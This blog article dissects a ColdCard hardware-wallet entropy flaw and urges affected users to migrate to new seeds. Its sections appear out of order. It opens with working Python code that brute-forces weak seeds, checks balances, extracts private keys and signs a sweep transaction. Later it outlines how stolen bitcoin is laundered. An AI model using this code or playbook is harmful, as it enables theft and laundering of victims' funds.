The blockchain is the oracle. Without it, the attacker would not know which state produced real money. With it, every UTXO found confirms they guessed the key.

Proof-of-concept code

The script below is didactic. It is not GPU-optimized, does not run in seconds against 40 bits, and does not handle every firmware variation. What it does is make the attack readable, function by function.

1. The broken PRNG: Yasmarang

def yasmarang_step(state):
    """state = [pad, n, d, dat]; mutates the list and returns a uint32."""
    pad, n, d, dat = state

    pad = (pad + dat + d * n) & 0xFFFFFFFF
    pad = ((pad << 3) | (pad >> 29)) & 0xFFFFFFFF
    n = pad | 2
    d = (d ^ ((pad << 31) | (pad >> 1))) & 0xFFFFFFFF
    dat = (dat ^ (pad & 0xFF) ^ ((d >> 8) & 0xFF) ^ 1) & 0xFF

    out = (pad
           ^ ((d << 5) & 0xFFFFFFFF)
           ^ (pad >> 18)
           ^ ((dat << 1) & 0xFFFFFFFF)) & 0xFFFFFFFF

    state[:] = [pad, n, d, dat]
    return out

What it does: implements the deterministic generator that was in the firmware. It is the same function anyone can copy from the MicroPython source.

State example:

>>> s = [0x0A8CE26F, 69, 233, 0]
>>> [hex(yasmarang_step(s)) for _ in range(3)]
['0x12f99f10', '0x1e0841df', '0x8f794c6c']

2. From RNG state to ColdCard entropy

def coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed=None):
    """
    Simulates what the ColdCard did to generate the 32 entropy bytes.

    - MicroPython initializes its Yasmarang with:
        pad = UID_low32 ^ SysTick->VAL
        n   = RTC->TR
        d   = RTC->SSR
    - libNgU keeps a second Yasmarang with public constants.
    - Each 32-bit word is: chip ^ my_yasmarang().
    - On Mk4/Q/Mk5, reseed changes the libNgU 'pad' state.
    """
    mpy_state = [uid_low32 ^ systick, rtc_tr, rtc_ssr, 0]
    libngu_state = [0x0A8CE26F, 69, 233, 0]

    if reseed is not None:
        # reseed() in the firmware only overwrites yasmarang_pad
        libngu_state[0] = reseed & 0xFFFFFFFF

    # The ColdCard may make extra calls before generating the seed (health
    # check, etc.). In practice the attacker models the exact call history.
    # Here we simplify to 8 words = 32 bytes.
    words = []
    for _ in range(8):
        chip = yasmarang_step(mpy_state)
        mix = chip ^ yasmarang_step(libngu_state)
        words.append(struct.pack("<I", mix))

    return b"".join(words)

What it does: builds the initial state. The MicroPython pad is UID_low32 ^ SysTick; n and d come from the RTC. libNgU enters with public constants. Each word is the XOR of the two. That XOR does not create randomness: if both sides are reproducible, so is the result.

Example:

>>> coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
'3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66'

3. From entropy to a Bitcoin address

def first_addresses(entropy_bytes, account=0):
    """
    Given the raw entropy, generate the BIP39 mnemonic, the BIP32 seed,
    and the first native SegWit receiving and change addresses.
    """
    mnemonic = mnemonic_from_bytes(entropy_bytes)
    seed = mnemonic_to_seed(mnemonic)
    root = HDKey.from_seed(seed)

    addrs = {"mnemonic": mnemonic}
    for change in [0, 1]:
        for idx in range(5):
            path = f"m/84'/0'/{account}'/{change}/{idx}"
            key = root.derive(path)
            addr = p2wpkh(key.key.get_public_key()).address()
            label = "receive" if change == 0 else "change"
            addrs.setdefault(label, []).append(addr)
    return addrs

What it does: takes the 32 bytes, turns them into 24 BIP39 words, computes the seed, opens the BIP32 tree, and derives the addresses. In practice the attacker tests dozens or hundreds of indexes and also other accounts.

Example:

>>> cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
>>> cand["mnemonic"]
'copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup'
>>> cand["receive"][0]
'bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp'

4. Query the public blockchain as an oracle

def has_utxo(address):
    """True if the address has any UTXO according to mempool.space."""
    url = f"https://mempool.space/api/address/{address}/utxo"
    try:
        r = requests.get(url, timeout=10)
        r.raise_for_status()
        return len(r.json()) > 0
    except Exception as e:
        print("error querying", address, e)
        return False

What it does: asks the real question. Without this query, the attacker would not know whether they guessed right. The blockchain is the oracle.

Non-hit example:

>>> has_utxo("bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp")
False

The attacker discards it and moves to the next candidate.

Hit example (the real victim address bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, before the sweep):

[
  {
    "txid": "78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d",
    "vout": 0,
    "value": 2989251877,
    "status": {"confirmed": true, "block_height": 960188}
  }
]

When has_utxo returns True, the attacker knows the seed they just generated produces that address — and therefore the corresponding private key.

5. Enumerate candidates and hunt

def brute_mk3(uid_low32):
    """
    Example for Mk3/Mk2 v4: scan plausible SysTick and RTC values.
    In practice the attacker uses GPUs/FPGAs and constrains the UID from
    the device serial.
    """
    for systick in range(80_000):
        for rtc_tr in range(0x000000, 0x240000, 0x100):
            for rtc_ssr in range(0, 256):
                yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr)


def brute_mk4(uid_low32, systick, rtc_tr, rtc_ssr):
    """
    Example for Mk4/Q/Mk5: the fallback is fixed and the attacker enumerates
    the 2^32 possible secure-element reseed values.
    """
    for reseed in range(0x100000000):
        yield coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed)


def hunt(uid_low32, generator):
    for entropy in generator:
        candidate = first_addresses(entropy)
        for addr in candidate["receive"] + candidate["change"]:
            if has_utxo(addr):
                print("HIT!")
                print("  mnemonic:", candidate["mnemonic"])
                print("  address :", addr)
                return candidate


# Didactic example: use a known UID and a reduced Mk3 generator.
# hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))

What they do: brute_mk3 scans plausible states for Mk3; brute_mk4 scans the 2^32 secure-element reseeds; hunt is the generate-derive-check loop. The real attacker does not run Python; they write this in C/CUDA/FPGA and parallelize by UID. But the logic is identical.

After finding the collision

When hunt returns, the attacker already has the mnemonic and the funded address. From there, they get the private key:

from embit.bip39 import mnemonic_to_seed
from embit.bip32 import HDKey

seed = mnemonic_to_seed(candidate_mnemonic)
root = HDKey.from_seed(seed)
addr_key = root.derive("m/84'/0'/0'/0/0")

print("Compressed WIF:", addr_key.key.wif())
print("Address       :", addr_key.address())

Typical output:

Compressed WIF: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
Address       : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp

That WIF is the private key in a format any wallet understands. From here the attacker can:

1. Import the seed or the WIF into Sparrow, Electrum, or another wallet.
2. Rescan the blockchain to see all UTXOs for that seed.
3. Build a transaction sending the funds to an address they control.
4. Sign and broadcast.

Concrete sweep example

In the real case, the attacker swept the 29.89251877 BTC UTXO from address bc1qe85jr... to the consolidation address. What they needed to produce was a signed transaction. The skeleton, with didactic values and a fictional input, looks like this:

from bitcoinlib.transactions import Transaction
from bitcoinlib.keys import HDKey

# key recovered from the collided seed
key = HDKey.from_seed(candidate_mnemonic).derive("m/84'/0'/0'/0/0")

input_value  = 2_989_251_877      # 29.89251877 BTC, in satoshis
fee          = 7_380              # fee in satoshis
output_value = input_value - fee  # what is left for the attacker

tx = Transaction(network='bitcoin', fee=fee, witness_type='segwit')
tx.add_input(
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',  # victim UTXO txid
    0,
    keys=key,
    value=input_value,
    locking_script=bytes.fromhex('0014') + key.hash160,
    script_type='sig_pubkey',
    address=key.address()
)
tx.add_output(output_value, 'bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru')  # attacker address
tx.sign()

print(tx.raw_hex())

A valid signed transaction looks like this (hex truncated):

01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...

The attacker broadcasts that hex to any Bitcoin node (mempool.space, their own node, Electrum, etc.). The protocol does not ask where the key came from; it only checks whether the signature satisfies the script. If the signature is valid, the network includes the transaction in the next block and the UTXO changes owner.

In the real attack, this was done 1,195 times in 41 minutes, all with the same script, the same fee rate, and the same balance-sorted logic.

What this bug class means

This is not an attack on the elliptic curve, SHA-256, BIP39, or Bitcoin. It is an attack on entropy. The manufacturer reduced the key space, and the protocol simply accepted the signatures that came out of that smaller space.

Three lessons:

1. Do not trust the appearance of randomness. Yasmarang’s output passes simple statistical tests and looks random. But if the initial state is predictable, the entire sequence is predictable.
2. Hashing does not create entropy. Passing 40 bits of input through SHA-256 twice yields a nice, uniform hash, but there are still at most 2^40 possible hashes. The attacker enumerates inputs, not hashes.
3. The blockchain is public and permanent. A vulnerable wallet can sit quietly for years until someone connects the dots. On the day the attack is published, every UTXO in that key space becomes a target.

Can the attacker be caught?

Whenever a cryptocurrency theft reaches this scale, one question keeps coming up: “can the person be traced?”. The short answer is: maybe, but it is not trivial, and tracing is not the same as recovering the bitcoins.

Clay Garrett, who is among the people investigating the case, published a thread on X claiming that his team identified an unusual sweep pattern. According to the thread, the attack operator allegedly used a paid account at a well-known blockchain-services provider to query the source addresses and related activity during the sweeps. The provider’s logs allegedly matched, with “extraordinary specificity,” the number, timing, and sequence of requests. The provider, Garrett says, was only delivering normal services; the requests themselves did not reveal their purpose.

What this means, if confirmed:

• A blockchain-services provider usually requires an account, and often payment. That can leave traces: email, payment method, IP address, access times, API usage patterns.
• If the account was KYC’d, the chance of identifying a person rises sharply. If payment was made with cryptocurrency, an anonymous voucher, or a third-party card, the link weakens.
• Even with an IP or email, the operator may have used a VPN, Tor, disposable cloud compute, or a stolen identity. Each extra layer reduces the chance of reaching the real person.
• The funds, as far as is known, have not yet been moved to mixers or exchanges. While they remain stationary, there is a window for freezing or judicial recovery. Once they are swapped, mixed, or converted to offshore fiat, asset recovery becomes drastically harder.

So the thread points to a promising line of investigation, but it is an ongoing allegation, not a concluded proof. Catching the operator depends on how much they exposed through third-party services, the quality of the logs, jurisdiction, and how fast authorities act. Recovering the bitcoins depends on where the coins are when that happens. The two are related, but they are not the same thing.

What the attacker has not done yet

So far, the operation has been technically competent at the attack but amateurish at the escape. The ~1,128 BTC stolen are sitting in known consolidation addresses, with no mixer, no coinjoin, no follow-up movement. That is unusual for a theft of this size and worth attention, because it determines what is still recoverable.

What a mixer is, and why it has not been used

A mixer (or tumbler) is a service that takes bitcoins from many people, shuffles the amounts inside a single transaction or a series of transactions, and returns equivalent bitcoins to fresh addresses. The goal is to break the public chain of “where it came from.”

The classic model is CoinJoin: several participants jointly sign a transaction with many inputs and many outputs of the same size. An outside observer sees the money go in but cannot tell which output belongs to whom. Tools like Wasabi Wallet and Samourai Wallet implement CoinJoin automatically. Samourai even offered a service called Whirlpool, where UTXOs go through remix rounds that make tracing even harder.

Another model is the centralized mixer: you send bitcoins to a service address and receive them back from a different pool, minus a fee. Services like Bitcoin Fog and Helix historically worked this way. The difference from CoinJoin is that you must trust the mixer operator — and several of those operators were arrested precisely because investigators could link deposits to withdrawals.

In the ColdCard theft, none of these techniques has appeared yet. The bitcoins moved from the victims’ wallets into three large clusters and have not moved since. That can mean several things:

1. The attacker is still getting ready. Stealing 1,128 BTC in 41 minutes is one thing; laundering 1,128 BTC without leaving a trace is another. Setting up an anonymization pipeline takes time, costs money, and requires pre-established accounts.
2. The attacker did not expect this much visibility. Once the press and blockchain analysts start tracking addresses in real time, any immediate movement becomes news. Leaving the funds still is a way to wait for the noise to die down.
3. The attacker may be negotiating a recovery. Large thefts sometimes end in settlements, with part of the funds returned in exchange for the thief’s anonymity.

How one normally hides a haul like this

If the operator really wants to make tracing difficult, the standard playbook involves several layers:

1. CoinJoin rounds. The attacker splits the funds into standardized amounts and runs them through multiple CoinJoin rounds. After a few rounds the graph stops being a tree and becomes a web, making attribution hard.
2. Peel chain. Instead of sending everything at once, the operator moves small slices across dozens or hundreds of intermediate addresses, like peeling an onion. Each address forwards most of the value to the next one and a tiny fraction to a final destination.
3. Instant swaps and bridges. Swapping Bitcoin for Monero on a decentralized exchange or bridge is a common path: Monero hides sender, recipient, and amount. After a few Monero transactions, the attacker can swap back into Bitcoin at fresh addresses.
4. Weak-KYC or no-KYC exchanges. Depositing into exchanges that do not require identification, or that accept third-party accounts, lets the attacker convert into stablecoins, fiat, or other cryptocurrencies. Even with KYC, bought accounts or money mules help create distance.
5. Offshore fiat. The final stage is turning the asset into real cash outside jurisdictions that cooperate with investigations. Unregulated exchanges, Bitcoin ATMs, prepaid cards, and accounts in tax havens fit here.

None of these layers makes tracing impossible, but each raises the cost. A well-funded investigation can still follow clues: fees paid by an exchange, timing patterns, change addresses, value matches. The problem is that the more layers there are, the more time it takes — and the more time passes, the lower the chance of freezing the funds before they are spent.

Why this matters now

The fact that the bitcoins are still in the consolidation addresses means the recovery window is still theoretically open. Law enforcement and private investigators can monitor those addresses, request freezes at exchanges, and pressure blockchain-service providers. If the attacker sends even a single satoshi to a known mixer, alarms go off.

But that window closes as soon as the funds enter an anonymization pipeline. After a proper CoinJoin, a Monero swap, and a network of peel chains, the question stops being “where is the money?” and becomes “who can we arrest?”. Recovering the asset becomes technically infeasible for most victims.

In other words, the attacker has already won the first battle — finding and stealing the keys. The second battle, cashing out anonymously, is the one that usually separates big-wallet thieves from thieves who end up in prison.

Conclusion

If you still have funds in a seed generated by vulnerable ColdCard firmware, the risk is not theoretical. The blockchain already shows hundreds of addresses being emptied by someone who reproduced the broken RNG.

The ColdCard does not hold your bitcoins. It held the key. The key was born weak. Whoever has a copy of the same key — obtained by enumerating states of a PRNG — can sign transactions on your behalf, without ever having touched the device.

The only defense is to move the funds to a new seed, generated by corrected firmware or, better, by a process that combines independent entropy sources (casino-grade dice, a different manufacturer’s TRNG, an offline host). And test recovery before sending meaningful value.

Do not trust a company, certification, influencer, or article. Not even this one. Verify.

I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address received 594.47723261 BTC across 501 outputs. That is public blockchain data, not a Telegram screenshot. Issue 416 of Bitcoin Optech, published while the case was still unfolding, already estimated losses above 1,000 BTC.

The exact number will still change. The 594 BTC cluster is directly observable; attributing every input to the same vulnerability and closing the global total requires more analysis. But the combination of victim reports, the sweep pattern, reproduction of the bug, and Coinkite’s own admission is strong enough. Waiting for a pretty forensic report while a vulnerable seed keeps receiving funds is a terrible strategy.

Do not panic and type your 24 words into the first website that promises to “check your ColdCard” either. That is the other, much easier way to lose everything. A seed never goes into a website, chat, browser extension, or online computer. First understand whether you were affected. Then migrate calmly, verifying the address on the screen of a trusted signer.

Who needs to act now

The vulnerability is in seed generation. What matters is the model and firmware used on the day those words were created, not the firmware installed today or where you imported the seed afterward.

In practice: if you own any ColdCard, move the funds to a wallet derived from a completely new seed. Better to err on the side of caution. The ranges below show where the bug has already been confirmed; they are no reason to bet your life savings on the assumption that everything else is perfect. Updating the device does not repair the old seed.

According to Coinkite’s advisory and Block’s independent analysis, treat as compromised any seed generated under these conditions:

Block includes the Mk2 running 4.x firmware in the same regression as the Mk3 and starts the vulnerable range for both at 4.0.0. Coinkite focused its advisory on the Mk3, starting at 4.0.1, and on current models. I would treat the entire 4.x line through 4.1.9 as compromised on both. If you own an Mk2, do not take comfort from its absence in the advisory headline.

There is one important exception: anyone who added at least 50 fair, independent, and private die rolls during the original setup theoretically preserved at least 128 bits from an outside source. Coinkite itself says those seeds are not at risk from this bug alone. If you do not remember exactly how many rolls you made, which flow you used, or whether those results remained private, assume you did not do it.

A seed imported from another generator was not born from this defective RNG either. It may have other problems, of course, but not this one. Updating firmware now cannot travel back in time and repair any words. You must create a new seed and transfer the UTXOs to addresses derived from it.

Restoring the same 24 words on a Trezor, Ledger, SeedSigner, or any other device is NOT a migration. You are still in danger. The hardware changed; the root and the entire universe of derived private keys remain the same. Another derivation path may display different addresses, but it adds no entropy. If the ColdCard generated that wallet using the weak RNG, importing its seed into another signer merely teaches the new device to reproduce the same vulnerable keys. Create a completely new wallet with new entropy, then make an on-chain transaction that moves the funds from the old wallet to addresses in the new one.

I would do this even with a strong passphrase. The passphrase may have placed an independent barrier in front of the attacker, but Coinkite itself recommends migrating. After a failure of this magnitude, calculating the minimum theoretically acceptable risk is saving money in the wrong place.

The bug: #ifndef does not mean “if true”

Coinkite’s technical postmortem is an embarrassing read.

In March 2021, the firmware replaced ckcc.rng_bytes() with ngu.random.bytes() during its migration to libNgU and the libsecp256k1 used by Bitcoin Core. The library choice was good. The integration was disastrous.

The build code defined:

#define MICROPY_HW_ENABLE_RNG (0)

But the guard in libNgU checked this:

#ifndef MICROPY_HW_ENABLE_RNG
#error "get a HW TRNG plz"
#endif

#ifndef asks whether the symbol exists, not whether its value is nonzero. The symbol existed. The build passed. In the final resolution, rng_get() pointed to MicroPython’s software fallback, a deterministic PRNG called Yasmarang, initialized with the microcontroller UID and timing registers. A UID identifies a chip. A clock measures time. Neither is a cryptographic source of randomness.

Worse, the correct TRNG implementation was inside the binary. Previous reviews looked at it and concluded everything was fine, but nobody verified the complete path between “create new wallet” and the symbol actually called in the executable. There was no integration test that failed when the seed came from the wrong generator.

On the Mk3, Coinkite’s preliminary estimate is around 40 bits of effective entropy, instead of the minimum 128 bits expected. On the Mk4, Q, and Mk5, values from the secure elements entered as a second layer, and the company estimates approximately 72 bits. Block’s analysis is harsher: only 32 bits of material from the secure elements reached the PRNG state during that reseed. The threat models and estimates are not identical. None comes close to the target.

Passing bad output through SHA-256 does not create entropy. If only 2^40 inputs exist, at most 2^40 possible hashes exist. They look nice and uniform and remain enumerable.

This sat on the most important path in the product for more than five years.

How a 120-file rewrite got us here

Zach Herbert published a timeline worth summarizing. He is a Foundation cofounder, Passport manufacturer, and Coinkite competitor, so read the interpretation with that context. The dates and commits, however, can be verified.

In July 2020, Foundation announced that its first Passport would build on ColdCard’s GPLv3 firmware. Two days later, NVK publicly complained about the “clone” and said he would change the license. In November, ColdCard added MIT plus the Commons Clause, which left the code visible but restricted derivative commercial products. In January 2021, the change formally appeared in firmware 3.2.1.

On March 1 came the First pass w/ libNgU commit: 120 files changed, removal of GPL-covered libraries derived from Trezor, replacement of the cryptographic stack, and a change to seed generation. On March 17, version 4.0.0 announced the removal of the last GPL code.

There is no way to prove how much of the haste or scope came from the license dispute. The timeline itself acknowledges other legitimate goals: adopting libsecp256k1, accelerating AES/SHA, and enabling reproducible builds. The concrete fact is simpler: the bug entered in that same massive commit, and the product went five years without an end-to-end test of its most critical path.

That is engineering incompetence. A hardware wallet can have a secure element, sealed packaging, an air gap, and a website full of explanations about sovereignty. If the function that creates the key calls the wrong RNG and nobody tests it for five years, everything else is theater.

This was a white swan, not a black swan

I have already seen people call this a “black swan,” as though a cosmic alignment of unforeseeable events had struck Coinkite. It was not.

The vulnerable code had been visible in the repository since March 2021. The commit was enormous, but not secret. The deterministic fallback was in a public submodule. The macro defined as zero was in the board configuration. The incorrect #ifndef was in the integration. What was missing was following the seed-generation call all the way to the symbol resolved in the binary and writing a test that proved where its entropy came from.

A black swan is rare, surprising, and only looks obvious afterward. This was a white swan: a known risk in the most sensitive category of the product, with an observable cause and a predictable consequence. Nobody knew the exact day someone would connect the dots and sweep the wallets. The bomb, however, had been assembled and ticking in public for five years.

And Coinkite helped reduce the number of people willing to defuse it.

In 2021, Marko Bencun from Shift/BitBox and Hugo Nguyen from Nunchuk responsibly disclosed a critical multisig flaw. Coinkite fixed the code, but its release notes did not say it was a vulnerability or communicate any urgency. Bencun’s bounty request was ignored. The company published a more explicit warning only after the researcher released the details.

The current responsible disclosure policy still leaves reward amount, eligibility, and timing to the company’s discretion. Researchers working for competitors or well-funded labs are not eligible for a bounty. The page even throws in “we are not here to make it easy for you,” as if antagonizing people who audit your vault demonstrated personality.

Zach Herbert also documented NVK’s public attacks on Foundation after it used ColdCard’s GPL code: “pure clone,” “leeches,” and “affinity scamming.” Herbert is a competitor with an interest in the dispute, but the posts and screenshots exist. My opinion of NVK as a CEO is now terrible. He cultivated hostility toward the manufacturers and researchers who had the knowledge and technical incentive to review his product.

I do not need to claim that every researcher abandoned Coinkite. Just look at the incentives. A competent white hat can spend weeks dismantling firmware. If a company minimizes findings, ignores bounties, treats competitors as enemies, and reserves the right to decide when something deserves credit, that researcher works on another product. Open code permits auditing; it does not force anyone to audit for free for a company that treats them badly.

So this was not one-in-a-billion bad luck. It was a self-fulfilling prophecy. Extreme negligence accumulated risk until someone exploited it. When the bomb went off, it did not erase a number in a Coinkite spreadsheet. It took real bitcoin that, for some victims, represented years of savings or their life’s savings.

No, “AI broke Bitcoin” my ass

Coinkite wrote that, because the firmware was public, “we have to assume” someone used AI to review old versions and found the bug. It provided no evidence. In the next paragraph, it admits that weeks earlier it had used one of the best available models to review the same code, and the model found nothing serious.

NVK later published an apology on Coinkite’s behalf. He took responsibility for the bug, told every ColdCard owner to move their funds, acknowledged that new firmware cannot repair an old seed, and said the company would have to earn back its users’ trust. That is the bare minimum, but it matters that he said it.

The problem is that he ended by trying to turn the disaster into “a sober reality of the new AI paradigm,” arguing that AI-assisted review can now find old bugs faster than seasoned experts. No. This has fuck all to do with AI. The bug was basic, visible in the code for five years, and sat in the most important function of a hardware wallet. NVK was lucky it took this long.

Do not shift the blame to AI-assisted code review to justify piss-poor code. AI may have helped someone locate or exploit the flaw. AI did not write that #ifndef, disable the TRNG, approve the 120-file rewrite, or spend five years without an end-to-end test of seed generation. Coinkite did all of that.

After disclosure, researchers reproduced the flaw with the help of frontier models. Great. That shows AI can accelerate auditing and exploitation after someone points to where they should dig. It does not mean an AI broke ECDSA, secp256k1, SHA-256, BIP39, or Bitcoin.

The attacker enumerated a keyspace that a manufacturer had reduced from at least 128 bits to something around 40. This is brute force against predictable numbers. The Bitcoin protocol did exactly what it should: it accepted valid signatures produced by the correct private keys.

AI did not break Bitcoin. Coinkite left a basic regression untested at the heart of its firmware for five years. Blaming the tool that may have helped someone read the code is a convenient way to change the subject.

What a wallet actually stores

Bitcoin does not sit “inside” a ColdCard, Ledger, or Sparrow file. The blockchain contains UTXOs locked by scripts. Your wallet stores the material needed to find those UTXOs and produce signatures that satisfy the scripts.

At the most basic level, a private key is an integer chosen within the domain of the secp256k1 curve. The public key is a point calculated from it. That path is easy to compute forward and infeasible to reverse with known computing power. Addresses are representations derived from public keys and scripts, not vaults where coins live.

I explained this foundation more carefully in [Akitando #67] Understanding Basic Cryptography Concepts - Part 1 and [Akitando #68] Understanding Basic Cryptography Concepts - Part 2.

A modern wallet does not draw an independent key for each address. It starts with a root and uses BIP32 to derive a deterministic tree of keys: accounts, receiving addresses, change, and so on. A backup of the root recovers the entire tree.

BIP39 is the layer that turns binary entropy into readable words and then converts the mnemonic plus a passphrase into a 512-bit binary seed used by BIP32. The words are a human-readable way to carry computer-generated randomness. The specification explicitly warns that it is not a method for inventing a nice phrase in your own head.

Twelve or 24 words is the wrong question

A 12-word mnemonic encodes 128 bits of entropy plus a 4-bit checksum. A 24-word mnemonic encodes 256 bits plus an 8-bit checksum. Under normal conditions, 128 bits is already beyond brute-force reach.

But “24 words” does not guarantee that 256 real bits existed at the input. Vulnerable firmware could produce a perfectly valid sequence of 24 words, correct checksum and all, from an effective space of approximately 40 bits. The attacker does not need to try every possible word combination. They reproduce plausible states of the broken RNG and compare the derived addresses.

That is why the 12-versus-24 argument misses the point. Representation length cannot rescue a predictable source. A UUID printed in gold lettering remains predictable if someone called rand() with a timestamp.

RNG, TRNG, and independent sources

RNG is the generic term for a random number generator. A PRNG takes an initial state, the seed, and expands it into a deterministic sequence. A properly designed CSPRNG remains safe as long as the initial state contains enough entropy and the algorithm does not leak that state.

A TRNG tries to harvest randomness from physical phenomena: electronic noise, oscillator jitter, and similar sources. Ledger explains its process as a TRNG inside the Secure Element generating 256 bits, which BIP39 translates into 24 words. The company says an external lab tests that generator and certifies it under AIS-31. That is much better than a timer plus serial number, but it remains one source and one implementation you have chosen to trust.

Other projects prefer to combine sources. Trezor uses entropy from the device and host. BitBox02 documents five sources: the secure chip TRNG, the microcontroller TRNG, a unique value installed at the factory, entropy supplied by the host, and a hash of the device password.

The word that matters here is independence. Two PRNGs initialized from the same clock are not two sources. Two values that come from the same secure element do not buy the independence the diagram implies either. Independent sources, combined through a correct cryptographic construction, keep the result strong even when some of them fail.

And “combined correctly” carries half the security in that sentence. XOR, hashes, and extractors have specific properties. Do not invent your own mixer in half an hour and put your net worth on top of it. Use a reviewed implementation with test vectors, and verify that the binary you execute actually calls that code. I think the reason is now obvious.

Rolling dice is not that simple

Each roll of an ideal D6 provides log2(6), about 2.585 bits. That is where the figures of 50 rolls for 128 bits and 99 rolls for approximately 256 bits come from. ColdCard’s documentation shows the calculation and the SHA-256 applied to the sequence. SeedSigner uses the same thresholds: 50 for 12 words or 99 for 24.

That calculation assumes a fair die and independent rolls. A cheap promotional plastic die may have bubbles, poorly cut faces, and a shifted center of mass. Your hand may repeat a motion, the tray may favor one position, and many people “roll again” when the die lands near an edge. Every human decision made after seeing the result introduces bias.

If I were generating a seed manually today, I would use precision casino-grade dice from more than one manufacturer or batch. BitBox itself recommends five casino-grade dice for its manual procedure. I would define the reading order ahead of time, use a tray that lets the dice bounce, and accept every valid roll according to a rule written before I started. No rerolling because it “didn’t mix properly.”

Even then, I would not trust the dice alone. I would mix independent sources: more than one set of dice, coin flips, entropy from an offline host, and a hardware TRNG when the device supports it. Making hundreds of rolls is cheap. The care lies in feeding everything to an audited mechanism that performs the cryptographic combination. Adding numbers, picking the “most random” words, or concatenating pieces of mnemonics yourself is a recipe for losing funds.

Check what your device actually implements. In Ledger’s documented new-wallet setup, the Secure Element TRNG generates the entropy. In restore mode, the words must reconstruct exactly the same keys. The TRNG cannot add secret entropy on top of the imported mnemonic because that would create another wallet and destroy the purpose of a backup. Restoring a seed made with dice therefore transfers custody and signing to the device, but it does not improve the original randomness.

With a commercial hardware wallet, I would choose one of two paths: generate a new root through the official flow of an updated device that documents how it combines independent sources, or generate BIP39 outside it through an auditable and fully offline process, then enter the words only through the signer’s screen and buttons. A seed created in MetaMask, a website, or a connected laptop and later restored into a Ledger remains a hot seed. Ledger summarizes this well: move, don’t merge.

BTC D00M Guy has a visual Portuguese-language tutorial on BIP39, dice, and recovery testing. It is a good introduction to seeing the process, but I would not literally copy the old-phone-in-airplane-mode step for serious wealth. Airplane mode does not prove the device was clean, does not physically remove its radios, and formatting flash afterward gives me no verifiable erasure guarantee. It is fine for learning and rehearsal. To create the seed for my life savings, I prefer hardware with no radio, a verified ephemeral system, or a dedicated signer.

The rolls become a secret the moment you decide to use them. Do not photograph them, dictate them out loud, keep them in a phone note, or type them into a website. SeedSigner’s documentation recommends that any verification of a real seed happen on an ephemeral system such as Tails, fully offline and discarded after the test.

More entropy does not fix a bad process either. One hundred rolls recorded by a cloud-connected camera are worth zero against someone who has the video.

Passphrase: another wallet, not another password

In BIP39, the mnemonic is the main input to PBKDF2-HMAC-SHA512. The salt is the string mnemonic concatenated with the passphrase, and the function runs 2,048 iterations. Every passphrase produces a valid wallet. One wrong character does not display “incorrect password”; it opens another, usually empty wallet.

A long, random, unique, and independent passphrase can protect an exposed or weak mnemonic. In the ColdCard case, it adds a secret that did not come from the defective RNG: the attacker must combine every mnemonic candidate with a passphrase attempt. If that passphrase has enough entropy and never leaked, the attack may become infeasible again.

But a quote, human pattern, or reused password becomes an offline dictionary attack with no rate limit. BIP39’s 2,048 iterations do not turn a weak passphrase into a strong one. And losing it is just as final as losing the words. A hardware wallet PIN does not replace a passphrase. The PIN protects the physical device; the passphrase participates in key derivation.

Store the passphrase separately from the mnemonic and test a complete recovery before depositing a meaningful amount. Record the expected fingerprint and at least one address as well. During recovery, they tell you whether you opened the correct wallet.

In the ColdCard case, do not add a passphrase to the vulnerable seed now and call that a migration. Create a new root. The passphrase may be part of the new architecture, but the bitcoin must leave scripts derived from the old root.

Sparrow, air gaps, and PSBT

Sparrow is the coordinator I use. It knows descriptors, xpubs, addresses, UTXOs, and history. It can construct a transaction, but in a watch-only configuration it has no private key with which to sign.

This is where PSBT, standardized in BIP174, comes in. Sparrow creates a Partially Signed Bitcoin Transaction with the inputs, outputs, amounts, and derivation data required. The file or QR code goes to the offline signer. The signer reviews it, adds its signature, and returns the PSBT. In multisig, the same package moves through the remaining signers until it reaches quorum. Sparrow combines, finalizes, and broadcasts it.

The air-gapped single-sig flow looks like this:

1. Sparrow creates the transaction on the online computer.
2. You export the PSBT through QR code or microSD.
3. ColdCard, SeedSigner, or another device displays the destination, amount, and fee.
4. You verify them on the signer’s screen and sign.
5. Sparrow imports the signed PSBT, finalizes it, and broadcasts it.

An air gap reduces the attack surface. It is not a force field. QR codes and microSD still carry data, malicious firmware remains malicious firmware, and a compromised coordinator can try to replace the destination or change address. The signer’s screen exists so you can compare the address, amount, and fee before pressing Confirm.

And an air gap cannot improve entropy retroactively. A vulnerable ColdCard could spend its entire life without a USB cable. The key was already born weak.

2-of-3 multisig: safer and much more bureaucratic

Single-sig concentrates everything in one seed, one backup, and one implementation. Among options available today, 2-of-3 multisig with genuinely independent signers is the closest thing I know to maximum security against that single point of failure.

You create three independent seeds on signers from different manufacturers and codebases. Sparrow creates a policy requiring two signatures. One device may break or one seed may leak without immediately surrendering the funds. Two signers remain enough for recovery.

“Independent” is once again the word doing the work. Three hardware wallets fed by three child seeds from the same BIP85 root still depend on one root. Three seeds generated by the same vulnerable ColdCard repeat the risk. Use separate processes and entropy sources. I might combine, for example, a commercial signer from another manufacturer, a SeedSigner using dice, and a third device with a different architecture.

In Sparrow, the conceptual procedure is:

1. Create and back up each seed separately.
2. Export the fingerprint, derivation path, and xpub from each signer.
3. Create a Multi Signature wallet, normally Native SegWit, with a 2-of-3 policy.
4. Import all three keystores and back up the wallet’s output descriptor.
